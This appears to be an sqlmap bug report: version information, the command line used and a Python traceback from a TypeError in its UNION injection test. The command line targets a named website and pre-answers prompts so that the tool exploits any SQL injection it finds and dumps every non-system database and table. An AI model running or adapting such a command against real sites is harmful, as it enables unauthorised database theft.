Running version: 1.2.4.23#dev
Python version: 2.7.15
Operating system: Windows-10-10.0.14393
Command line: sqlmap.py --url=http://yuval-tal.com --crawl=1 --threads=5 --retries=0 --timeout=5 --dbms=MYSQL --technique=EU --random-agent --is-dba --exclude-sysdbs --current-db --answers=remove=Y,follow=N,optimize=Y,want=Y,provided=1,which=a,thread=5,dictionary-based=n,problems=Y,problem=N,redirect=n,do you want to exploit this SQL injection=Y,do you want to test this URL=Y,retrieved=n,WAF=N,check=n,include=n,xml=y,do you want to check for the existence of site's sitemap=y,injection not exploitable with NULL values=n,store crawling results=n,do you want to test URL=Y,how do you want to proceed=C,you want to keep testing the others=y,you want to skip test payloads sp ecific for other DBMSes=Y,do you want to include all tests for=n,do you want sqlmap to try to optimize value(s) for DBMS delay responses=n,do you want to dump entries=Y,which database(s)=a,which table(s) of database=a
Technique: UNION
Back-end DBMS: MySQL (identified)

Traceback (most recent call last):
  File "sqlmap.py", line 157, in main
    start()
  File "lib/core/decorators.py", line 34, in _
    result = f(*args, **kwargs)
  File "lib/controller/controller.py", line 550, in start
    injection = checkSqlInjection(place, parameter, value)
  File "lib/controller/checks.py", line 683, in checkSqlInjection
    reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
  File "lib/techniques/union/test.py", line 316, in unionTest
    validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
  File "lib/techniques/union/test.py", line 275, in _unionTestByCharBruteforce
    count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE)
  File "lib/techniques/union/test.py", line 149, in _findUnionCharCount
    lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
TypeError: unsupported operand type(s) for -: 'float' and 'unicode'